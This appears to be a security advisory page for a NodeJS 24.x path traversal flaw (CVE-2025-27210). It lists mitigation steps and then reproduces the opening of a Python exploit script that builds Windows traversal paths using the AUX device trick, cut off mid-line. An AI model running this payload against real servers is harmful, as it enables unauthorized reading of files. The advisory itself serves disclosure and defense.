NodeJS 24.x · Path Traversal
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Data as of 14 Aug 2025, 01:13 UTC
What to do
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To mitigate this vulnerability, European organizations should: 1) Immediately audit all NodeJS 24.x deployments to identify affected instances. 2) Apply any available patches or updates from the NodeJS maintainers as soon as they are released. 3) Implement strict input validation and sanitization on all file path inputs to prevent traversal sequences such as '../'. 4) Employ runtime application self-protection (RASP) or web application firewalls (WAFs) configured to detect and block path traversal attempts. 5) Restrict file system permissions for NodeJS processes to the minimum necessary scope, preventing unauthorized file access even if traversal is attempted. 6) Conduct thorough code reviews focusing on file handling logic to identify and remediate unsafe path concatenations or user input usage. 7) Monitor logs for suspicious file access patterns indicative of exploitation attempts. 8) Consider containerization or sandboxing NodeJS applications to limit the blast radius of potential exploitation.
Description
NodeJS 24.x - Path Traversal
Indicators of compromise
Exploit source code
# Exploit Title : NodeJS 24.x - Path Traversal
# Exploit Author : Abdualhadi khalifa
# CVE : CVE-2025-27210
import argparse
import requests
import urllib.parse
import json
import sys
def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:
traverse_sequence = "..\\" * 6
normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
encoded_malicious_path = urllib…